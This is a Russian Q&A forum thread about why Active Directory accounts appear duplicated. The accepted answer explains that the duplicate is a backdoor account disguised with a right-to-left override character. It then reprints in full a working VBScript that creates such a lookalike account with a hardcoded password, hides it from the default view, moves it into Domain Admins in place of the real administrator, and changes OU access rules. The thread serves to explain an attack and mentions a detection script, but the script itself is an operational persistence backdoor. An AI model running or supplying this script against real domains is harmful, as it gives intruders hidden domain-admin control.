Protos
@Protos
Спрашивай - отвечу

Почему двоятся учетные записи Active directory?

e0050abd788f45b183b75127e2c14d96.png

Почему двоятся учетные записи?
Чем это может обернуться с точки зрения безопасности?
  • Вопрос задан
  • 2945 просмотров
Решения вопроса 1
@polarnik
Тестировщик
Если негативные варианты рассматриваются, то это взлом.
Вторая учётка имеет имя g_nimdAceTmoC, + первый символ указывает обратное направление текста.
Такой ход используется, чтобы визуально скрыть наличие в списке контроля доступа нового пользователя.
Подробнее смотрите в вебинаре
Тестирование на проникновение в сетях Microsoft (Дмитрий Евтеев, руководитель отдела анализа защищенности, Positive Technologies, 15.03.2012 14:00)
http://www.ptsecurity.ru/ics/Тестир_на_проникн_в_с... (со слайда 23)
или
my.comdi.com/record/46030

update: 17 января 2015 года.
Читал Exploit-db и нашел статью Дмитрия Евтеева. Где есть скрипт для создания учётной записи, которая выглядит как двойная.
www.exploit-db.com/wp-content/themes/exploit/docs/...
Статья на русском языке:
devteev.blogspot.ru/2012/01/backdoor-active-direct...

On Error Resume Next
strAdminsamAccountName = "dmitry.ivanov"
strAdminsGroup = "Domain Admins"
strPassNewUser = "P@ssw0rd"

'---

Dim arrContainer(), i

Set objRootDSE = GetObject("LDAP://RootDSE")
strDomain = objRootDSE.Get("DefaultNamingContext")
Set objDomain = GetObject("LDAP://" & strDomain)

strAdminsamAccountNameDN = SearchDN("' WHERE objectCategory='user' AND samAccountName = '" & strAdminsamAccountName & "'")

If Not IsNull(strAdminsamAccountNameDN) Then
        Set objAdmin = GetObject("LDAP://" & strAdminsamAccountNameDN)
        Set objOU = GetObject(objAdmin.parent)

        i=0
        Call EnumOUs(objOU)
        For j = i-1 To 0 Step-1
                if strContainer="" Then
                        strContainer = "OU=" & arrContainer(j) & strContainer
                        primaryContainer = strContainer
                Else
                        strContainer = "OU=" & arrContainer(j) & "," & strContainer
                End if
                
                Set objOUcreate = objDomain.Create("organizationalUnit", strContainer)
                objOUcreate.SetInfo
        Next
        
        Set objContainer = GetObject("LDAP://" & strContainer & "," & strDomain)
        Set objUserCreate = objContainer.Create("User", "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName))
        objUserCreate.Put "sAMAccountName", ChrW(8238) & StrReverse(strAdminsamAccountName)
        objUserCreate.SetInfo
        
        On Error Resume Next
        
        objUserCreate.SetPassword strPassNewUser
        objUserCreate.Put "userAccountControl", 66048
        objUserCreate.Put "givenName", ChrW(8238) & StrReverse(objAdmin.givenName)
        objUserCreate.Put "sn", ChrW(8238) & StrReverse(objAdmin.sn)
        objUserCreate.Put "initials", ChrW(8238) & StrReverse(objAdmin.initials)
        objUserCreate.SetInfo
        
        On Error Resume Next
        
        objUserCreate.Put "showInAdvancedViewOnly", "TRUE"
        objUserCreate.SetInfo
        
        On Error Resume Next
        
        NewUserDN = "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName) & "," & objContainer.distinguishedName
        strAdminsGroupDN = SearchDN("' WHERE objectCategory='group' AND samAccountName = '" & strAdminsGroup & "'")
        
        If Not IsNull(strAdminsGroupDN) Then
                Set objGroup = GetObject("LDAP://" & strAdminsGroupDN)
                objGroup.PutEx 4, "member", Array(strAdminsamAccountNameDN)
                objGroup.SetInfo
                objGroup.PutEx 3, "member", Array(NewUserDN)
                objGroup.SetInfo
        End If
        
        OUAddAce(primaryContainer & "," & strDomain)
End If


Function SearchDN(str)
        Set objConnection = CreateObject("ADODB.Connection")
        
        objConnection.Provider = "ADsDSOObject"
        objConnection.Open "Active Directory Provider"
        
        Set objCommand = CreateObject("ADODB.Command")
        Set objCommand.ActiveConnection = objConnection
        objCommand.Properties("Searchscope") = 2
        
        objCommand.CommandText = "SELECT distinguishedName FROM 'LDAP://" & strDomain & str
        Set objRecordSet = objCommand.Execute
        
        If Not objRecordSet.EOF Then
                SearchDN = objRecordSet.Fields("distinguishedName").Value
        End if
End Function


Sub EnumOUs(objChild)
        Dim objParent
        Set objParent = GetObject(objChild.Parent)
        
        If (objParent.Class = "organizationalUnit") Then
                ReDim Preserve arrContainer(i + 1)
                arrContainer(i) = objChild.ou
                i=i+1
                Call EnumOUs(objParent)
        Else
                ReDim Preserve arrContainer(i + 1)
                arrContainer(i) = objChild.ou & ChrW(128)
                i=i+1
        End If
End Sub


Function OUAddAce(OU)
        Dim objSdUtil, objSD, objDACL, objAce
        Set objOU = GetObject ("LDAP://" & OU)

        Set objSdUtil = GetObject(objOU.ADsPath)
        Set objSD = objSdUtil.Get("ntSecurityDescriptor")
        Set objDACL = objSD.DiscretionaryACL
        Set objAce = CreateObject("AccessControlEntry")

        objAce.Trustee = "Everyone"
        objAce.AceFlags = 2
        objAce.AceType = 6
        objAce.AccessMask = 16
        objAce.Flags = 1
        objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"
        objDacl.AddAce objAce

        objSD.DiscretionaryAcl = objDacl
        objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
        objSDUtil.SetInfo
        
        Set objNtSecurityDescriptor = objOU.Get("ntSecurityDescriptor")
        intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
        intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
        objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
        objOU.Put "ntSecurityDescriptor", objNtSecurityDescriptor
        objOU.SetInfo
End Function


Завтра посижу подумаю, на свежую голову. Как написать обратный скрипт. Выявляющий учётные записи с символом ChrW(8238) в наименовании. Думаю, просто такой скрипт сделать. Но для проверки работы такого чекера понадобится тестовый домен, в котором будут созданы "двойные" записи.
Ответ написан
Пригласить эксперта
Ответы на вопрос 1
Это зачем? оО
Учетка это не имя, это SID (не вдаваясь в подробности)
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы